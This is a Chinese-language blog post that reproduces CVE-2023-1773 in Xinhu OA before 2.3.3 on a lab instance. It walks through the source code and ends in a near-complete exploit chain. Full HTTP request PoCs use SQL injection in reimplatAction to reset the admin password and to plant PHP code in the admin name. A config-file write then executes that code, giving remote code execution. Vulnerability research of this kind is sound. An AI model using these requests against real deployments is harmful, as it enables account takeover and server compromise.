目录

  1. 1. 前言
  2. 2. 环境准备
  3. 3. 代码分析
    1. 3.1. 入口
      1. 3.1.1. rockClass
    2. 3.2. 控制 webmainConfig.php
    3. 3.3. sql 注入
  4. 4. 修改密码登录
  5. 5. Getshell
  6. 6. Exploit

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CVE-2023-1773复现

2024/7/26 CVE OA
  |     |   总文章阅读量:

前言

信呼 OA 在 2.3.3 版本之前存在代码注入漏洞。该漏洞影响到组件配置文件处理程序的 webmainConfig.php 文件的代码。篡改导致代码注入。

参考:

https://mp.weixin.qq.com/s/25IpbhFLNcgEfiAC-vZltQ

https://mytte-233.github.io/2023/12/25/%E5%AE%A1%E8%AE%A1/


环境准备

复现环境:

https://github.com/CTF-Archives/xinhu-v2.3.2

数据库帐密:root/123456

管理员帐密:admin/123456,安装完系统后修改密码为 admin123


代码分析

根据漏洞描述直接全局找 webmainConfig.php 的调用没找到,先从入口文件看起

入口

官方文档中也有提:http://www.rockoa.com/view_kuang.html

一个网址运行周期从 index.php 入口开始

一开始引入了 config/config.php

包含文件,定义常量

index.php 后面还引入了 include/View.php

接收了 ajaxbool ,m,a,d 参数

  • m 可以用|分隔,分隔的时候取 m[0] 为指定的 Action.php,去调用相关的 action 类。分别判断 m[0]Action.phpm[1]Action.php 是否存在,存在都会进行文件包含
  • a 则是作为 $actname 即要调用的 action 类中的方法,如 indexAction,这里就是 index
  • d 则是 $actpath 的一部分
  • ajaxbool 如果为 true,则会调用 $aAjax 的方法,如果为 false,直接调用 $aAction 方法。后面如果 $ajaxbool == 'html' || $ajaxbool == 'false' 还会进行模版渲染。所以调用的方法是 Action 或者 Ajax 结尾

可以看到这里的操作部分和 rockClass 对象 $rock 有关

rockClass

简单分析一下 rockClass

public function get($name,$dev='', $lx=0)  
{  
    $val=$dev;  
    if(isset($_GET[$name]))$val=$_GET[$name];  
    if($this->isempt($val))$val=$dev;  
    return $this->jmuncode($val, $lx, $name);  
}  
  
public function post($name,$dev='', $lx=0)  
{  
    $val  = '';  
    if(isset($_POST[$name])){$val=$_POST[$name];}else{if(isset($_GET[$name]))$val=$_GET[$name];}  
    if($this->isempt($val))$val=$dev;  
    return $this->jmuncode($val, $lx, $name);  
}  
  
public function request($name,$dev='', $lx=0)  
{  
    return $this->post($name,$dev,$lx);  
}

很明显这部分实现的是 php 的三个 http 请求方法,跟一下 jmuncode

public function jmuncode($s, $lx=0, $na='')  
{  
    $jmbo = false;  
    if($lx==3)$jmbo = $this->isjm($s);  
    if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){  
       $s = str_replace('rockjm_', '', $s);  
       $s = $this->jm->uncrypt($s);  
       if($lx==1){  
          $jmbo = $this->isjm($s);  
          if($jmbo)$s = $this->jm->uncrypt($s);  
       }  
    }  
    if(substr($s, 0, 7)=='basejm_' || $lx==5){  
       $s = str_replace('basejm_', '', $s);  
       $s = $this->jm->base64decode($s);  
    }  
    $s=str_replace("'", '&#39', $s);  
    $s=str_replace('%20', '', $s);  
    if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);  
    $str = strtolower($s);  
    foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){  
       $this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');  
       $s = $this->lvlarrep($str, $v1);  
       $str = $s;  
    }  
    $cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');  
    if(in_array($na, $cslv))$s = $this->xssrepstr($s);  
    return $this->reteistrs($s);  
}

可以看到这里对 '%20 进行了转义处理

public function stringformat($str, $arr=array())  
{  
    $s = $str;  
    for($i=0; $i<count($arr); $i++){  
       $s=str_replace('?'.$i.'', $arr[$i], $s);  
    }  
    return $s;  
}
public function strformat($str)  
{  
    $len = func_num_args();  
    $arr = array();  
    for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);  
    $s  = $this->stringformat($str, $arr);  
    return $s;  
}

strformat 实现了模版字符串,对于下面这个代码:

//引入配置文件  
$_confpath     = $rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);

ROOT_PATH 是项目根目录,而 PROJECT 的值为 define('PROJECT', $rock->get('p', 'webmain'));

默认值为 webmain,于是模版字符串拼接得到 ROOT_PATH/webmain/webmainConfig.php,也就是这个 CVE 受到影响的文件

控制 webmainConfig.php

那么现在全局找一下类似的写法

在 cogAction.php 中,跟踪这个 $_confpath

发现这里有一个文件写入,在同一个 savecongAjax 方法中

public function savecongAjax()  
{  
    if(getconfig('systype')=='demo')exit('演示上禁止设置');  
    if($this->getsession('isadmin')!='1')exit('非管理员不能操作');  
      
    $puurl           = $this->option->getval('reimpushurlsystem',1);  
      
    $_confpath    = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);  
    $arr         = require($_confpath);  
      
    $title           = $this->post('title');  
    if(!isempt($title))$arr['title'] = $title;  
      
    $arr['url']       = $this->post('url');  
    $arr['outurl']        = $this->post('outurl');  
    $arr['reimtitle']  = $this->post('reimtitle');  
    $arr['qqmapkey']   = $this->post('qqmapkey');  
    $arr['platurl']    = $this->post('platurl');  
      
    $apptitle        = $this->post('apptitle');  
    if(!isempt($apptitle))$arr['apptitle'] = $apptitle;  
      
    $asynkey         = $this->post('asynkey');  
    if(!isempt($asynkey))$arr['asynkey'] = $asynkey;  
      
    $db_drive        = $this->post('db_drive');  
    if(!isempt($db_drive)){  
       if($db_drive=='mysql' && !function_exists('mysql_connect'))exit('未开启mysql扩展模块');  
       if($db_drive=='mysqli' && !class_exists('mysqli'))exit('未开启mysqli扩展模块');  
       if($db_drive=='pdo' && !class_exists('PDO'))exit('未开启pdo扩展模块');  
       $arr['db_drive'] = $db_drive;  
    }  
      
    $arr['localurl']   = $this->post('localurl');  
    $arr['openkey']    = $this->post('openkey');  
      
    $arr['xinhukey']   = $this->post('xinhukey');  
    if(contain($arr['xinhukey'],'**'))$arr['xinhukey'] = getconfig('xinhukey');  
      
    $arr['bcolorxiang'] = $this->post('bcolorxiang');  
      
    $arr['officeyl']   = $this->post('officeyl');  
    $arr['useropt']    = $this->post('useropt');  
    $arr['editpass']   = $this->post('editpass');  
    $arr['defstype']   = $this->post('defstype','1');  
    $arr['officebj']   = $this->post('officebj');  
    $arr['officebj_key']= $this->post('officebj_key');  
      
    $asynsend        = $this->post('asynsend');  
    $arr['asynsend']   = $asynsend;  
      
    $arr['sqllog']        = $this->post('sqllog')=='1';  
    $arr['debug']     = $this->post('debug')=='1';  
    $arr['reim_show']  = $this->post('reim_show')=='1';  
    $arr['mobile_show'] = $this->post('mobile_show')=='1';  
    $arr['companymode'] = $this->post('companymode')=='1';  
    $arr['loginyzm']   = $this->post('loginyzm');  
    $arr['apptheme']   = $this->post('apptheme');
    
    // ...
    
       $str1 = '';  
       foreach($arr as $k=>$v){  
          $bz = '';  
          if(isset($smarr[$k]))$bz=' //'.$smarr[$k].'';  
          if(is_bool($v)){  
             $v = $v ? 'true' : 'false';  
          }else{  
             $v = "'$v'";  
          }  
          $str1.= "  '$k'   => $v,$bz\n";  
       }  
         
       $str = '<?php  
if(!defined(\'HOST\'))die(\'not access\');  
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件  
return array(  
'.$str1.'  
);';  
       @$bo = file_put_contents($_confpath, $str);  
       if($bo){  
          echo 'ok';  
       }else{  
          echo '保存失败无法写入:'.$_confpath.'';  
       }  
    }

调用这个方法的前提是 $GLOBALS['config'] 中 systype 不为 demo 且当前用户是管理员权限

<?php  
if(!defined(\'HOST\'))die(\'not access\');  
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件  
return array(  
'.$str1.'  
);

而我们要进行代码注入,前面提过,jmuncode 对所有的 get 和 post 请求中的 ' 都进行了转义处理,无法直接逃逸

那么就不考虑从 str1 进行注入,注意到这里 $this->adminname 是从 $this->adminname = $this->getsession('adminname'); 来的,很明显这个是要从数据库来的,我们的目标是修改 admin 用户名为 \nphpinfo();//

sql 注入

先看下数据库操作

include/rockFun.php 中的 m 模版方法

/**  
*   m 读取数据模型,操作数据库的  
*   $name 表名/文件名  
*/  
function m($name)  
{  
    $cls      = NULL;  
    $pats     = $nac = '';  
    $nas      = $name;  
    $asq      = explode(':', $nas);  
    if(count($asq)>1){  
       $nas   = $asq[1];  
       $nac   = $asq[0];  
       $pats  = $nac.'/';  
       $_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';  
       if(file_exists($_pats)){  
          include_once($_pats);  
          $class = ''.$nac.'Model';  
          $cls   = new $class($nas);  
       }    
    }  
    $class    = ''.$nas.'ClassModel';  
    $path     = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';  
    if(file_exists($path)){  
       include_once($path);  
       if($nac!='')$class= $nac.'_'.$class;  
       $cls   = new $class($nas);  
    }  
    if($cls==NULL)$cls = new sModel($nas);  
    return $cls;  
}

然后寻找可能存在 sql 注入的地方,最好是直接对 admin 表有更新、插入操作的

webmain/task/api/reimplatAction.php

//修改手机号  
if($msgtype=='editmobile'){  
    $user  = arrvalue($data, 'user');  
    $mobile = arrvalue($data, 'mobile');  
    $where  = "`user`='$user'";  
    $upstr  = "`mobile`='$mobile'";  
    $db->update($upstr, $where);  
    $dbs   = m('admin');  
    $dbs->update($upstr,$where);  
    $uid   = $dbs->getmou('id',$where);  
    m('userinfo')->update($upstr,"`id`='$uid'");  
}

这里的 $where 和 $upstr 都是我们可控的,那么就可以有如下注入:

m('admin')->update("`mobile`='123',name='\nphpinfo();//'","`user`='admin'");

跟一下 update:

public function update($arr,$where)  
{  
    return $this->record($arr, $where);  
}
public function record($arr, $where='')  
{  
    return $this->db->record($this->table, $arr, $where);  
}

// mysql.php
/**  
    记录添加修改  
*/  public function record($table,$array,$where='')  
{  
    $addbool   = true;  
    if(!$this->isempt($where))$addbool=false;  
    $cont     = '';  
    if(is_array($array)){  
       foreach($array as $key=>$val){  
          $cont.=",`$key`=".$this->toaddval($val)."";  
       }  
       $cont  = substr($cont,1);  
    }else{  
       $cont  = $array;  
    }  
    if($addbool){  
       $sql="insert into `$table` set $cont";  
    }else{  
       $where = $this->getwhere($where);  
       $sql="update `$table` set $cont where $where";  
    }  
    return $this->tranbegin($sql);  
}

遍历 arr 里的每一个键值对然后更新数据,明显能注入

直接在源码里测试一下:

访问 index.php 后查看数据库

成功修改

接下来就是要通过调用 action 的方式来触发 sql 注入了


修改密码登录

首先我们需要成为 admin,那么就需要得到 admin 的帐密,借由 reimplatClassAction 我们可以直接修改密码

public function indexAction()  
{
	//修改密码  
	if($msgtype=='editpass'){  
	    $user = arrvalue($data, 'user');  
	    $pass = arrvalue($data, 'pass');  
	    if($pass && $user){  
	       $where  = "`user`='$user'";  
	       $mima  = md5($pass);  
	       m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);  
	    }  
	}
}

但是这里

$body = $this->getpostdata();    
if(!$body)return;  
$db      = m('reimplat:dept');  
$key     = $db->gethkey();  
$bodystr = $this->jm->strunlook($body, $key);  
if(!$bodystr)return;

会对请求体进行一次解密,解决方法很简单,我们自己在这里输出加密后的内容,然后传入加密的请求体就可以了

可以看下加密的过程

/**  
*   字符串加密处理  
*/  
public function strlook($data,$key='')  
{  
    if(isempt($data))return '';  
    // $this->jmsstr = "fapzjkutcqsynrewblmxvgihdo"  
    if($key=='')$key   = md5($this->jmsstr);
    $x    = 0;  
    $len   = strlen($data);  
    $l    = strlen($key);  
    $char  = $str = '';  
    for ($i = 0; $i < $len; $i++){  
       if ($x == $l) {  
          $x = 0;  
       }  
       $char .= $key[$x];  
       $x++;  
    }  
    for ($i = 0; $i < $len; $i++){  
       $str .= chr(ord($data[$i]) + (ord($char[$i])) % 256);  
    }  
    return $this->base64encode($str);  
}

public function base64encode($str)  
{  
    if(isempt($str))return '';  
    $str   = base64_encode($str);  
    $str   = str_replace(array('+', '/', '='), array('!', '.', ':'), $str);  
    return $str;  
}

默认 $db->gethkey(); 为空,这里过一次 md5 得到 d41d8cd98f00b204e9800998ecf8427e

poc:

POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D

{"msgtype":"editpass","user":"admin","pass":"666"}

在源码添加 $test=$this->jm->strlook($body,$key);echo $test; 输出加密后的请求体,这里是 31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:

把加密的请求体再次发包即可

POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D

31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:

Getshell

get 的参数就是拼出 task/api/reimplatAction.php,调用其中的 indexAction

POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D

{"msgtype":"editmobile","user":"admin","mobile":"1',name='\nphpinfo();//"}

同样的方式获取加密后的 body 后再打进去即可,此时就成功修改 adminname 了

重新登录更新 session,然后文件包含 webmain/system/cog/cogAction.php,执行session的写入

然后访问 index.php 拿到 shell

image-20240727011604792


Exploit